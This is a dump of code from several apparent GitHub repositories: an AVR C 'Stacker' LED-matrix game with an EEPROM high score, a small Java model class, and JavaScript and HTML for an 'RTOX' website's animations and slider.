0x00) { row4[1] = (row4[1] << 1) | 0x01; direction = 1; } else { row4[1] = (row4[1] >> 1) | 0x80; } } // else if far right column was last to display (grounded). else if (direction == 1) { // left if ((row4[1] & 0x80) == 0x00) { row4[1] = (row4[1] >> 1) | 0x80; // resets display column to far left column direction = 0; // go right } else { row4[1] = (row4[1] << 1) | 0x01; } } column_sel = row4[1]; } else if (pressed == 5) { if (direction == 0) { // right if ((row5[1] & 0x01) == 0x00) { row5[1] = (row5[1] << 1) | 0x01; direction = 1; } else { row5[1] = (row5[1] >> 1) | 0x80; } } // else if far right column was last to display (grounded). else if (direction == 1) { // left if ((row5[1] & 0x80) == 0x00) { row5[1] = (row5[1] >> 1) | 0x80; // resets display column to far left column direction = 0; // go right } else { row5[1] = (row5[1] << 1) | 0x01; } } column_sel = row5[1]; } else if (pressed == 6) { if (direction == 0) { // right if ((row6[1] & 0x01) == 0x00) { row6[1] = (row6[1] << 1) | 0x01; direction = 1; } else { row6[1] = (row6[1] >> 1) | 0x80; } } // else if far right column was last to display (grounded). else if (direction == 1) { // left if ((row6[1] & 0x80) == 0x00) { row6[1] = (row6[1] >> 1) | 0x80; // resets display column to far left column direction = 0; // go right } else { row6[1] = (row6[1] << 1) | 0x01; } } column_sel = row6[1]; } else if (pressed == 7) { if (direction == 0) { // right if ((row7[1] & 0x01) == 0x00) { row7[1] = (row7[1] << 1) | 0x01; direction = 1; } else { row7[1] = (row7[1] >> 1) | 0x80; } } // else if far right column was last to display (grounded). else if (direction == 1) { // left if ((row7[1] & 0x80) == 0x00) { row7[1] = (row7[1] >> 1) | 0x80; // resets display column to far left column direction = 0; // go right } else { row7[1] = (row7[1] << 1) | 0x01; } } column_sel = row7[1]; } else if (pressed == 8) { if (direction == 0) { // right if ((row8[1] & 0x01) == 0x00) { row8[1] = (row8[1] << 1) | 0x01; direction = 1; } else { row8[1] = (row8[1] >> 1) | 0x80; } } // else if far right column was last to display (grounded). else if (direction == 1) { // left if ((row8[1] & 0x80) == 0x00) { row8[1] = (row8[1] >> 1) | 0x80; // resets display column to far left column direction = 0; // go right } else { row8[1] = (row8[1] << 1) | 0x01; } } column_sel = row8[1]; } i = 0; } ++i; ++j; break; case press: if(button == r) { if(pressed == 1) { row2[1] = row1[1]; } else if(pressed == 2) { row2[1] = (row2[1] | row1[1]); row3[1] = row2[1]; if (row3[1] == 0xFF) { over = 1; } } else if(pressed == 3) { row3[1] = (row3[1] | row2[1]); row4[1] = row3[1]; if (row4[1] == 0xFF) { over = 1; } } else if(pressed == 4) { row4[1] = (row4[1] | row3[1]); row5[1] = row4[1]; if (row5[1] == 0xFF) { over = 1; } } else if(pressed == 5) { row5[1] = (row5[1] | row4[1]); row6[1] = row5[1]; if (row6[1] == 0xFF) { over = 1; } } else if(pressed == 6) { row6[1] = (row6[1] | row5[1]); row7[1] = row6[1]; if (row7[1] == 0xFF) { over = 1; } } else if(pressed == 7) { row7[1] = (row7[1] | row6[1]); row8[1] = row7[1]; if (row8[1] == 0xFF) { over = 1; } } else if(pressed == 8) { row8[1] = (row8[1] | row7[1]); if (row8[1] == 0xFF) { over = 1; } } button = p; if (pressed == 0) { --score; } ++pressed; if (over != 1){ ++score; } LCD_DisplayString(1, "Score: "); LCD_Cursor(8); LCD_WriteData(score + '0'); } break; case wait: if (column_val == row1[0]) { column_val = row2[0]; column_sel = row2[1]; } else if (column_val == row2[0]) { column_val = row3[0]; column_sel = row3[1]; } else if (column_val == row3[0]) { column_val = row4[0]; column_sel = row4[1]; } else if (column_val == row4[0]) { column_val = row5[0]; column_sel = row5[1]; } else if (column_val == row5[0]) { column_val = row6[0]; column_sel = row6[1]; } else if (column_val == row6[0]) { column_val = row7[0]; column_sel = row7[1]; } else if (column_val == row7[0]) { column_val = row8[0]; column_sel = row8[1]; } else if (column_val == row8[0]) { column_val = row1[0]; column_sel = row1[1]; } break; case gameover: if (column_val == row1[0]) { column_val = row2[0]; column_sel = row2[1]; } else if (column_val == row2[0]) { column_val = row3[0]; column_sel = row3[1]; } else if (column_val == row3[0]) { column_val = row4[0]; column_sel = row4[1]; } else if (column_val == row4[0]) { column_val = row5[0]; column_sel = row5[1]; } else if (column_val == row5[0]) { column_val = row6[0]; column_sel = row6[1]; } else if (column_val == row6[0]) { column_val = row7[0]; column_sel = row7[1]; } else if (column_val == row7[0]) { column_val = row8[0]; column_sel = row8[1]; } else if (column_val == row8[0]) { column_val = row1[0]; column_sel = row1[1]; } if (score > EEPROM_Read(1)) { EEPROM_Write(1, score); } if (over == 1) { LCD_DisplayString(1, "Your score: High score: "); LCD_Cursor(13); LCD_WriteData(score + '0'); LCD_Cursor(29); LCD_WriteData(EEPROM_Read(1) + '0'); //EEPROM over = 0; } break; } PORTA = column_val; PORTB = column_sel; return state; } int main(void) { DDRA = 0xFF; PORTA = 0x00; DDRB = 0xFF; PORTB = 0x00; DDRC = 0xFF; PORTC = 0x00; DDRD = 0xF0; PORTD = 0x0F; if ((EEPROM_Read(1) < 0) || (EEPROM_Read(1) > 9)) { EEPROM_Write(1, 0); } LCD_init(); LCD_ClearScreen(); LCD_DisplayString(5, "Stacker! High score:"); LCD_Custom_Char(0, smiley); LCD_WriteCommand(0x80); LCD_WriteData(0); LCD_Goto(14, 1); LCD_WriteData(EEPROM_Read(1) + '0'); TimerSet(1); TimerOn(); state = start; button = r; while (1) { SM1_Tick(); while (!TimerFlag){} // Wait for BL's period TimerFlag = 0; // Lower flag } }
56e3d3a0af673a4f42101552ed770ef7eb74ce37
[ "Markdown", "C" ]
2
Markdown
schen091/arcade-stacker
155a7755c15384ad1cb7c3dc0e90cceb8e054676
1c623a6345025f1aba855f9ffab64610a3ba1ad8
refs/heads/master
<file_sep>package nl.littlerobots.cupboardconvertertest.model; import java.util.List; public class Tag { public Long _id; public String name; public long bookId; public List<String> ids; }
07549f75375b5b0dbc3f01615399862d4d3ea85a
[ "Java" ]
1
Java
hvisser/cupboard-converter-testcase
dceec13cfd9b431e65ea9b300b3a2f8d62ecf4f9
f984c7091fb0d9e9463ac0d1597e3b0ee899f90b
refs/heads/master
<repo_name>dpulliam/arlington_rug_rdf_script<file_sep>/script.rb # Requirements require 'rdf' require 'rdf/vocab' require 'linkeddata' # Create a basic graph and dump it graph = RDF::Graph.new do self << [:trashCan, RDF::RDFS.label, "Trash Can"] self << [:car, RDF.type, :truck] end graph.dump(:ntriples) # Create a cooler graph and check some properties graph = RDF::Graph.load("https://data.sfgov.org/api/views/ays8-rxxc/rows.rdf?accessType=DOWNLOAD") graph.size graph.predicates graph.objects statements = graph.statements statements[30] # Basic querying query = RDF::Query.new([nil, nil, "Trash Can"]) query = RDF::Query.new([nil, RDF::Vocab::GEO.long, nil]) graph.query(query.patterns) do |solution| puts solution end; nil solutions = graph.query(query.patterns) # Use these geo coordinates on map 37.7768066, -122.426363 # Add external vocabulary ds = RDF::Vocabulary.new("http://data.sfgov.org/resource/ays8-rxxc/") # Data GOV Trashcans https://catalog.data.gov/dataset?q=trashcan # New York https://data.ny.gov/api/views/cg7p-tdy5/rows.rdf?accessType=DOWNLOAD # San Fran https://data.sfgov.org/api/views/ays8-rxxc/rows.rdf?accessType=DOWNLOAD # Smaller foaf example http://ruby-rdf.github.com/rdf/etc/doap.nt http://greggkellogg.net/foaf # Broken http://data.sfgov.org/resource/ays8-rxxc/ <file_sep>/README.md # Arlington RUG Demo A Script This demo is intended to show the basic use of RDF and Linkeddata gems. This was done as a part of the "Beyond Human: Rails and the Semantic Web" talk. ## Goals * Illustrate basic graph creation and dumping * Illustrate more advanced graph example with query * Show the objects queried through google maps * Load external vocabulary ## How To Use 1. git clone <EMAIL>:dpulliam/arlington_rug_rdf_script.git 2. start up irb 3. It would probably be best to run chunks of the script at a time rather than the whole file ## Gems * [rdf](https://github.com/ruby-rdf/rdf) * [linkeddata](https://github.com/ruby-rdf/linkeddata)
312934d31d2b2b1b7ba1dc8c35df61bc3d5183ee
[ "Markdown", "Ruby" ]
2
Ruby
dpulliam/arlington_rug_rdf_script
6589b1bcafdf11c92ff8fd9ad915d37b2b96bddb
05aada11e8fc492b95504e827f0e786096f62c69
refs/heads/master
<file_sep>#!/usr/bin/env ruby if `god status` =~ /The server is not available/ `god -c /usr/share/jruby-rpc/god/agent_node.god` else `god terminate` `god -c /usr/share/jruby-rpc/god/agent_node.god` end <file_sep>God.watch do |w| w.name = "jruby-rpc-agent-node" w.dir = "/usr/share/jruby-rpc" start_command = [ "java -jar rpc.jar agent_node", "--registration.server localhost", "--registration.server.port 3000", "--agent.dispatch.port 3002", "--registration.wait.period 10", "--heartbeat.wait.period 20", "--extra.plugin.dir /usr/share/jruby-rpc/plugins" ].join(" ") w.start = start_command w.log = "/var/log/jruby-rpc-agent-node.log" w.keepalive end <file_sep>source 'http://rubygems.org' gem "nio4r" gem "celluloid" gem "trollop" <file_sep>class NIOActor include Celluloid def initialize; @selector_loop, @registry = NIO::Selector.new, Registrar.new; end def filter(&blk) @registry.each do |fqdn, registrant| (puts "Closing connection: #{fqdn}."; wipe(fqdn)) if blk.call(registrant) end end def live_agents fqdns = []; @registry.each do |fqdn, registrant| fqdns << [fqdn, registrant.payload["agent_dispatch_port"]] end fqdns end def tick; @selector_loop.select(1) { |m| m.value.call(m) }; end def wipe(fqdn) puts "Wiping #{fqdn}."; @selector_loop.deregister(conn = @registry.connection(fqdn)) @registry.delete(fqdn); conn.close end def beat(fqdn); @registry.beat(fqdn); end def attach_callback(monitor) fqdn = monitor.io.remote_address.ip_address monitor.value = HeartbeatCallback.new(proc { beat(fqdn) }, proc { wipe(fqdn) }) end def register_connection(payload, connection) puts "Registering connection." begin @registry.register(payload, connection) rescue DoubleRegistrationAttempt => e puts e; puts "Closing connection: #{connection}." connection.close; return end attach_callback @selector_loop.register(connection, :r) end end <file_sep>require 'socket' require 'pp' require 'json' require_relative './lib/client/client' payload2 = { :plugin => 'host.discovery', :action => 'facts', :arguments => {} } c = Client.new(:registration_server => "localhost", :query_port => 3001) puts "Client instantiated." puts "Testing fact filtering." res = c.agents[0].act("host.discovery", "fact_filter", {"fact" => "test_fact", "value" => "test_value"}) pp res puts "Testing fact loading." res = c.agents[0].act('host.discovery', 'facts', {}) pp res <file_sep>['json', 'resolv', 'resolv-replace', 'socket', 'celluloid', 'trollop'].each { |e| require e } ['./dispatcher', '../plugin_components', '../plugins', '../actionpayload', '../registrationpayload'].each do |f| path = File.absolute_path(File.dirname(__FILE__) + '/' + f) puts "Requiring: #{path}." require path end Thread.abort_on_exception = true $opts = Trollop::options do opt "registration.server", "Required for heartbeat signal.", :type => :string, :required => true opt "registration.server.port", "Default port is 3000.", :type => :int, :required => false, :default => 3000 opt "agent.dispatch.port", "The port that accepts rpc requests.", :type => :int, :required => true opt "registration.wait.period", "Number of seconds to wait between registration attempts.", :type => :int, :default => 5 opt "heartbeat.wait.period", "Number of seconds to wait between heartbeat events.", :type => :int, :default => 5 opt "extra.plugin.dir", "Absolute directory path for plugins.", :type => :string, :required => false end module ClientRegistrationHeartbeatStateMachine def self.start Thread.new { register; establish_heartbeat }; accept_rpc_requests end def self.register begin @conn = TCPSocket.new($opts["registration.server"], $opts["registration.server.port"]) payload = RegistrationPayload.new(:dispatch_port => $opts["agent.dispatch.port"]) @conn.write payload.serialize rescue Errno::ECONNREFUSED, Errno::EPIPE, Exception => e puts e.class wait_period = $opts["registration.wait.period"] puts "Registration connection refused or broken. Retrying in #{wait_period} seconds." sleep wait_period; retry end end def self.establish_heartbeat Thread.new do loop do begin @conn.write "OK"; @conn.flush sleep $opts["heartbeat.wait.period"] rescue Errno::EPIPE puts "Looks like the registry died."; break rescue Errno::ECONNRESET puts "Registry closed connection on us."; break end end restart_heartbeat end end def self.restart_heartbeat puts "Re-establishing heartbeat." register; establish_heartbeat end # as what is sent out during the registration attempt. def self.accept_rpc_requests Thread.new do dispatcher = Dispatcher.new($opts["extra.plugin.dir"]) puts "Starting dispatch listener: port = #{$opts["agent.dispatch.port"]}." listener = TCPServer.new($opts["agent.dispatch.port"]) while true conn = listener.accept puts "Action dispatch connection accepted." begin # this is the only line that can throw an exception result = dispatcher.dispatch ActionPayload.deserialize(conn.gets.strip) conn.write result.serialize rescue Exception => e puts e ensure conn.flush; conn.close end end end end end ClientRegistrationHeartbeatStateMachine.start sleep <file_sep>require "bundler/gem_tasks" ['actionpayload.rb', 'fiberdsl.rb'].each do |file_req| desc "Setting up required file dependency: #{file_req}." file "lib/#{file_req}" => "../../#{file_req}" do |t| cp t.prerequisites[0], t.name sh "git add #{t.name}" sh "git commit -m 'adding required files: #{t.name}" end # add the dependecy to the build task task :build => "lib/#{file_req}" end <file_sep>class Discovery require 'yaml' # every plugin needs a name def self.descriptive_name "host.discovery" end # every plugin should also have a description def self.description <<-EOF Provides host facts and responds to ping requests so that we can verify that an agent is indeed running. This information can also be exposed via the heartbeat mechanism but this plugin serves as a demonstration of how plugins are structured. EOF end # register as a plugin include Plugins # define some actions def_action :name => "ping", :desc => "The agent responds with pong.", :args => [] do |opts = {}| "pong" end def_action :name => "fact_filter", :desc => [ "The agent looks in its local fact store", "and responds with either yes or no based", "on whether the fact matches or not." ].join(" "), :args => ["fact", "value"] do |opts = {}| facts = YAML.load_file('/etc/host_facts.yaml') facts[opts["fact"]] == opts["value"] end def_action :name => "facts", :desc => [ "Takes the host facts and ships it back", "wholesale. The idea is that the client can", "use this information to do filtering with", "the full power of ruby instead of some gimped DSL." ].join(" "), :args => [] do |opts = {}| YAML.load_file('/etc/host_facts.yaml') end end <file_sep>class HeartbeatCallback def initialize(beat, wipe) checker = lambda { |ctx| message_checker(ctx) } @wipe = wipe; @beat = beat; @machine = PartialReaderDSL::FiberReaderMachine.protocol do loop { consume(2); buffer_transform(&checker) } end end def message_checker(ctx) if ctx.buffer == "OK" @beat.call else puts "Did not recognize heartbeat message: #{ctx.buffer}." @wipe.call end end def call(monitor) ex = catch(:eoferror) { @machine.call(monitor.io) } if ex puts "Caught EOFError."; @wipe.call end end end <file_sep>class DoubleRegistrationAttempt < StandardError; end class Registrar class Registrant attr_reader :connection, :payload def initialize(payload, connection); @connection, @payload = connection, payload; end def fqdn; @fqdn ||= connection.remote_address.ip_address; end def latest_timestamp; @payload["heartbeat_timestamp"]; end def refresh_timestamp; @payload["heartbeat_timestamp"] = Time.now.to_i; end end end class Registrar def initialize; @registry = {}; end def register(payload, connection) if @registry[fqdn = (registrant = Registrant.new(payload, connection)).fqdn] raise DoubleRegistrationAttempt, "#{fqdn} tried to double register." else registrant.refresh_timestamp; @registry[fqdn] = registrant end end def each(&blk); @registry.each(&blk); end def connection(fqdn); @registry[fqdn].connection; end def delete(fqdn); @registry.delete(fqdn); end def beat(fqdn); @registry[fqdn].refresh_timestamp; end end <file_sep>class ResponsePayload def initialize(opts = {}) [:plugin_response].each do |e| raise ArgumentError, "#{e} is a required argument." if opts[e].nil? end @plugin_response = opts[:plugin_response] end def serialize payload = {:error => false, :plugin_response => @plugin_response}.to_json [payload.length].pack("*i") + payload end end <file_sep>['json', 'socket', 'thread', 'resolv', 'resolv-replace', 'nio', 'celluloid', 'timeout', 'trollop', 'pp'].each { |e| require e } ['./registrar', './nioactor', './heartbeatcallback', '../fiberdsl'].each do |f| path = File.absolute_path(File.dirname(__FILE__) + '/' + f) puts "Requiring: #{path}." require path end $opts = Trollop::options do opt "registration.port", "The port that agents send heartbeat and registration requests to.", :required => true, :type => :int opt "registration.timeout", "How long to wait in seconds for the registration to complete.", :type => :int, :default => 5 opt "query.port", "Clients connect to this port to get a list of agents.", :required => true, :type => :int opt "stale.heartbeat.time", "All connections that are this number of minutes old will be killed.", :type => :int, :default => 5 opt "reaper.sleep.time", "Time in seconds between invocations of stale agent killer.", :type => :int, :default => 120 end Thread.abort_on_exception = true module ServerRegistrationHeartbeatStateMachine class RegistrationTimeout < StandardError; end @heartbeat_selector = NIOActor.new def self.start start_registration_listener; start_query_listener; heartbeat_select_loop; culling_loop end def self.start_query_listener Thread.new do listener = TCPServer.new($opts["query.port"]) while true conn = listener.accept puts "Accepted query connection." reader = PartialReaderDSL::FiberReaderMachine.protocol(true) do consume(4) { |buff| buff.unpack("*i")[0] } consume { |buff| JSON.parse buff } end payload = reader.call(conn)[0] pp payload case payload["request_type"] when "agent_discovery" agents = @heartbeat_selector.live_agents payload = {"agents" => agents}.to_json conn.write [payload.length].pack("*i") + payload end conn.flush; conn.close end end end def self.start_registration_listener Thread.new do listener = TCPServer.new($opts["registration.port"]) while true conn = listener.accept Thread.new { registration_handler(conn) } end end end def self.heartbeat_select_loop; Thread.new { loop { @heartbeat_selector.tick } }; end def self.registration_handler(connection) begin payload = registration_message_deserializer(connection) rescue JSON::ParserError => e puts "JSON couldn't parse message: #{e}." connection.close rescue RegistrationTimeout puts "Registration timed out."; connection.close rescue EOFError puts "Couldn't read enough of the registration message."; connection.close else @heartbeat_selector.register_connection(payload, connection) end end def self.registration_message_deserializer(connection) Timeout::timeout($opts["registration.timeout"], RegistrationTimeout) do count = connection.read(4).unpack("*i")[0] return JSON.parse connection.read(count) end end def self.culling_loop staleness_interval = $opts["stale.heartbeat.time"] * 60 culler = proc { |registrant| Time.now.to_i - registrant.latest_timestamp > staleness_interval } Thread.new do loop { sleep $opts["reaper.sleep.time"]; @heartbeat_selector.filter(&culler) } end end end ServerRegistrationHeartbeatStateMachine.start sleep <file_sep># action requests are also likely to evolve over time so encapsulate class ActionPayload attr_reader :plugin, :action, :arguments def initialize(payload = {}) ["plugin", "action", "arguments"].each do |e| if (val = payload[e]).nil? raise ArgumentError, "#{e} is a required argument." else instance_variable_set("@#{e}", val) end end end def serialize {"plugin" => @plugin, "action" => @action, "arguments" => @arguments}.to_json end def self.deserialize(serialized) opts = JSON.parse(serialized) new(opts) end end <file_sep># Each plugin should be self-documenting as far as # possible and all the various classes for the self-documenting # pieces should go here. module PluginComponents class Plugin attr_reader :plugin, :description def initialize(klass, description); @plugin, @description = klass, description; end def action_exists?(action); !@plugin.actions[action].nil?; end def act(action, arguments) @plugin.actions[action].validate_args(arguments); @plugin.new.send(action, arguments) end end # stores various bits about the action, e.g. name, arguments class ActionMetadata def initialize(opts = {}) [:name, :desc, :args].each do |e| raise ArgumentError, "#{e} is required." if opts[e].nil? end @name, @description, @arguments = opts[:name], opts[:desc], opts[:args] end # basic argument validation that happens during dispatch time def validate_args(opts = {}) @arguments.each do |e| if opts[e].nil? raise ArgumentError, "#{e} is a required argument for #{@name}." end end end end end <file_sep>require 'socket' require 'json' ['../actionpayload', '../fiberdsl'].each do |f| path = File.expand_path(File.dirname(__FILE__) + '/' + f) require path end class Client # just a container for results from a filtring operation class FilterResponse attr_reader :result, :agent def initialize(truthy_result, agent) @result = truthy_result; @agent = agent end end class Agent def initialize(fqdn, port); @fqdn, @port = fqdn, port; end # open a connection to the dispatch port and send the request def act(plugin, action, arguments = {}) TCPSocket.open(@fqdn, @port) do |sock| payload = ActionPayload.new("plugin" => plugin, "action" => action, "arguments" => arguments) sock.puts payload.serialize reader = PartialReaderDSL::FiberReaderMachine.protocol(true) do consume(4) { |buff| buff.unpack("*i")[0] } consume { |buff| JSON.parse buff } end reader.call(sock)[0] end end end attr_reader :agents # Get the list of agents from the registration server and initialize # the agent objects so that we can make some RPC requests. def initialize(opts = {}) [:registration_server, :query_port].each do |e| raise ArgumentError, "#{e} is a required argument." if opts[e].nil? end TCPSocket.open(opts[:registration_server], opts[:query_port]) do |sock| payload = {"request_type" => "agent_discovery"}.to_json sock.write [payload.length].pack("*i") + payload reader = PartialReaderDSL::FiberReaderMachine.protocol(true) do consume(4) { |buff| buff.unpack("*i")[0] } consume { |buff| JSON.parse(buff)["agents"] } end @agents = reader.call(sock)[0].map { |agent_data| Agent.new(*agent_data) } end end # Takes a block that gets an agent and then return a truthy value. # The agents that have truthy values from the block are kept and # the rest are discarded. This is not a destructive operation. The # original agents are still kept. The final result is a list of tuples # where the first entry is the truthy result of the block and the second # element is the agent. def filter(&blk) # we don't want to start more than 20 threads a time because it is possible # to get back thousands of agents from the registration server and starting # a thousand threads is not going to be fun for anyone. result_slices = @agents.each_slice(20).map do |agents_slice| threads = agents_slice.map do |agent| Thread.new { Thread.current[:result] = [blk.call(agent), agent] } end threads.map {|t| t.join; t[:result]}.select {|res, agent| res} end result_slices.reduce([]) do |memo, data_slice| data_slice.each {|data_item| memo << FilterResponse.new(*data_item)}; memo end end end <file_sep># Simple plugin management system that uses various module hooks # to handle plugin registration and plugin action definition. module Plugins class PluginDefinedTwiceError < StandardError; end @plugins = {} def self.plugins; @plugins.keys.clone; end def self.[](plugin); @plugins[plugin]; end def self.included(base) if @plugins[base.descriptive_name] raise PluginDefinedTwiceError, "#{base.descriptive_name} is already defined." end @plugins[base.descriptive_name] = PluginComponents::Plugin.new(base, base.description) base.instance_eval { @actions = {}; extend PluginClassMethods } end module PluginClassMethods def def_action(opts = {}, &blk) @actions[method_name = opts[:name]] = PluginComponents::ActionMetadata.new(opts) self.instance_eval { define_method(method_name, &blk) } end def actions; @actions; end end end <file_sep>require 'fiber' module PartialReaderDSL class FiberReaderMachine def self.protocol(blocking = false, &blk) (current_instance = new).singleton_class.class_eval { define_method(:resumer, &blk) } current_instance.blocking = blocking; current_instance end attr_reader :return_stack, :buffer def initialize @buffer, @return_stack, @blocking = "", [], false @fiber = Fiber.new { |c| @connection = c; resumer } end def blocking=(bool); @blocking = bool; end def reset @fiber = Fiber.new { |c| @connection = c; resumer } end def read(count) if @blocking @connection.read(count) else @connection.read_nonblock(count) end end def consume(count = nil, &blk) @count = count || @return_stack.pop while (delta = @count - @buffer.length) > 0 begin @buffer << read(delta) rescue Errno::EAGAIN Fiber.yield rescue EOFError => e puts e; throw :eoferror, e end end (@return_stack << blk.call(@buffer); empty_buffer!) if blk end def empty_buffer!; @buffer.replace ''; end def buffer_transform(&blk); blk.call(self); empty_buffer! end def call(conn) if @blocking @fiber.resume(conn) return @return_stack end if @fiber.alive? @fiber.resume(conn); nil else @return_stack end end end end <file_sep>if ARGV[0] == 'agent_node' require 'agent_server/agent' elsif ARGV[0] == 'registration_node' require 'registration_server/registration_server' else puts "Please specify the type of node to start: agent_node | registration_node." puts "e.g. java -jar rpc.jar [agent_node|registration_node] [options]" end <file_sep>require "rpc_client/version" require "rpc_client/client" module RpcClient def self.make_client(opts) Client.new(opts) end end <file_sep>class ErrorResponse def initialize(opts = {}) [:error_message].each do |e| raise ArgumentError, "#{e} is a required argument." if opts[e].nil? end @error_message = opts[:error_message] end def serialize payload = {:error => true, :error_message => @error_message}.to_json [payload.length].pack("*i") + payload end end <file_sep>God.watch do |w| w.name = "jruby-rpc-registration-node" w.dir = "/usr/share/jruby-rpc" start_command = [ "java -jar rpc.jar registration_node", "--registration.port 3000", "--registration.timeout 10", "--query.port 3001", "--stale.heartbeat.time 5", "--reaper.sleep.time 240" ].join(" ") w.start = start_command w.log = "/var/log/jruby-rpc-registration-node.log" w.keepalive end <file_sep>rpc-experiment ============== How hard is it to build a pluggable rpc framework? Turns out, not so hard if you use the right libraries, e.g. celluloid, nio4r, etc. Prerequisites ============= You'll need jruby and warbler. I recommend installing jruby with rvm. Creating JAR or DEB =================== If you want to test it out to see how it works then all you have to do is clone the repo and run the rake task that creates the jar file: ``` git clone https://github.com/davidk01/rpc-experiment.git rake rpc.jar ``` Then just run `java -jar rpc.jar` to get a help menu and proceed with either starting an agent node or a registration node. To test things locally take a look at `god` subdirectory for some standard command line options. You can also get all the command line options by running `java -jar rpc.jar agent_node --help` for the agent node options and similarly `java -jar rpc.jar registration_node --help` for the registration node options. To create a debian package you'll need `fpm` and you'll also need a ruby interpreter other than jruby. Once you got those just run `rake make_debian[1.0]` to build a debian package. I'm using rake's tasks with parameters and the task just takes a version parameter. Agent Interaction ================= Once you have an agent node and a registration node up and running the next thing to do is to interact with them from ruby. You'll need to make and install the client gem but that's pretty easy: ``` cd lib/client/rpc_client rake install ``` Now just open up an `irb` prompt and require the client library: `require 'rpc_client'`. Take a look at `test.rb` for how to use the client. <file_sep>['../dispatchresponsepayload', '../dispatcherrorpayload'].each do |f| path = File.absolute_path(File.dirname(__FILE__) + '/' + f) puts "Requiring: #{path}." require path end Thread.abort_on_exception = true class Dispatcher def initialize(extra_plugin_dir = nil) puts "Loading jar-file plugins." directory = File.dirname(__FILE__) plugin_directory = File.absolute_path(directory + "/../plugins") Dir[plugin_directory + '/*.rb'].each do |plugin| begin puts "Loading plugin: #{plugin}."; require plugin rescue Exception => e puts "ERROR: Couldn't load plugin #{plugin}: #{e}." end end puts "Finished loading jar-file plugins." if extra_plugin_dir puts "Loading non-jar-file plugins." Dir[extra_plugin_dir + "/*.rb"].each do |plugin| begin puts "Loading external plugin: #{plugin}."; require plugin rescue Exception => e puts "ERROR: Couldn't load external plugin #{plugin}: #{e}." end end puts "Finished loading non-jar-file plugins." end end def dispatch(payload) unless (plugin = Plugins[payload.plugin]) return ErrorResponse.new(:error_message => "#{payload.plugin} does not exist.") end unless (plugin.action_exists?(action = payload.action)) return ErrorResponse.new(:error_message => "#{payload.plugin} does not support #{action}.") end begin puts "Getting response: plugin = #{payload.plugin}, action = #{action}." ResponsePayload.new(:plugin_response => plugin.act(action, payload.arguments)) rescue Exception => e ErrorResponse.new(:error_message => e.message) end end end <file_sep># registration is likely to evolve over time so encapsulate class RegistrationPayload def initialize(opts = {}) [:dispatch_port].each do |e| raise ArgumentError, "#{e} is a required argument." if opts[e].nil? end @dispatch_port = opts[:dispatch_port] end def serialize payload = {"agent_dispatch_port" => @dispatch_port}.to_json [payload.length].pack("*i") + payload end end
a919d2cea48aa93166ba4a2fc17aa8eb7c52526e
[ "Markdown", "Ruby" ]
24
Ruby
experimental-dustbin/rpc-experiment
aa7a17051f04ba88c3f78d56d943a29935baa2dc
f4cb9e92b334f989617e5390e01bfad6c4e9ace3
refs/heads/master
<repo_name>vmcreate/RTOX<file_sep>/RTOX/main.js var movetop = document.getElementById("movetop"); var moveDown = document.getElementById("moveDown"); var videoMain = document.getElementById("videoMain"); var dblarrow = document.getElementsByClassName("dblarrow")[0]; var hiddenP = document.getElementsByClassName("hiddenP")[0]; movetop.onclick = () => { dblarrow.classList.add("rotateArr"); dblarrow.classList.remove("rotateArr-rev"); setTimeout(() => { videoMain.classList.add("mTop"); videoMain.classList.remove("mTop-rev"); }, 500); setTimeout(() => { videoMain.style.display = "none"; }, 1000); setTimeout(() => { movetop.style.display = "none"; }, 1000); setTimeout(() => { hiddenP.style.display = "block"; }, 1000); setTimeout(() => { moveDown.classList.add("moveright"); moveDown.classList.remove("moveright-rev"); }, 1000); }; moveDown.onclick = () => { if (dblarrow.classList.contains("rotateArr")) { dblarrow.classList.remove("rotateArr"); dblarrow.classList.add("rotateArr-rev"); } if (videoMain.classList.contains("mTop")) { setTimeout(() => { videoMain.classList.remove("mTop"); videoMain.classList.add("mTop-rev"); }, 500); } if ((videoMain.style.display = "none")) { setTimeout(() => { videoMain.style.display = "block"; }, 1000); } if ((movetop.style.display = "none")) { setTimeout(() => { movetop.style.display = "block"; }, 1000); } if ((hiddenP.style.display = "block")) { setTimeout(() => { hiddenP.style.display = "none"; }, 1000); } if (moveDown.classList.contains("moveright")) { setTimeout(() => { moveDown.classList.remove("moveright"); moveDown.classList.add("moveright-rev"); }, 700); } }; //ako je kliknut daj mu klasu active. ako dugme ima klasu pokreni animaciju i change. var menuB = document.getElementsByClassName("menuB"); var article = document.getElementsByClassName("sluzby-left")[0]; var article1 = document.getElementsByClassName("sluzby-left1")[0]; var article2 = document.getElementsByClassName("sluzby-left2")[0]; var article3 = document.getElementsByClassName("sluzby-left3")[0]; //images var articleimg = document.getElementsByClassName("articleimage"); for (var i = 0; i < menuB.length; i++) { menuB[i].onclick = function() { var el = menuB[0]; while (el) { if (el.tagName === "BUTTON") { el.classList.remove("mark"); } el = el.nextSibling; } this.classList.add("mark"); }; } menuB[0].addEventListener("click", () => { article.classList.add("articlemove"); article1.classList.remove("articlemove"); article2.classList.remove("articlemove"); article3.classList.remove("articlemove"); articleimg[0].classList.add("articlemove"); articleimg[1].classList.remove("articlemove"); articleimg[2].classList.remove("articlemove"); articleimg[3].classList.remove("articlemove"); }); menuB[1].addEventListener("click", () => { article.classList.remove("articlemove"); article1.classList.add("articlemove"); article2.classList.remove("articlemove"); article3.classList.remove("articlemove"); articleimg[0].classList.remove("articlemove"); articleimg[1].classList.add("articlemove"); articleimg[2].classList.remove("articlemove"); articleimg[3].classList.remove("articlemove"); }); menuB[2].addEventListener("click", () => { article.classList.remove("articlemove"); article1.classList.remove("articlemove"); article2.classList.add("articlemove"); article3.classList.remove("articlemove"); articleimg[0].classList.remove("articlemove"); articleimg[1].classList.remove("articlemove"); articleimg[2].classList.add("articlemove"); articleimg[3].classList.remove("articlemove"); }); menuB[3].addEventListener("click", () => { article.classList.remove("articlemove"); article1.classList.remove("articlemove"); article2.classList.remove("articlemove"); article3.classList.add("articlemove"); articleimg[0].classList.remove("articlemove"); articleimg[1].classList.remove("articlemove"); articleimg[2].classList.remove("articlemove"); articleimg[3].classList.add("articlemove"); }); //smoth scroll var scroll = new SmoothScroll('a[href*="#"]'); //slider $(function() { $(".top_slider").slick({ infinite: false, slidesToShow: 3, slidesToScroll: 3, arrows: true, nextArrow: $(".next"), prevArrow: $(".prev") }); }); <file_sep>/RTOX/index.html <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <link href="https://fonts.googleapis.com/css?family=Ubuntu" rel="stylesheet"> <!-- Add the slick-theme.css if you want default styling --> <link rel="stylesheet" type="text/css" 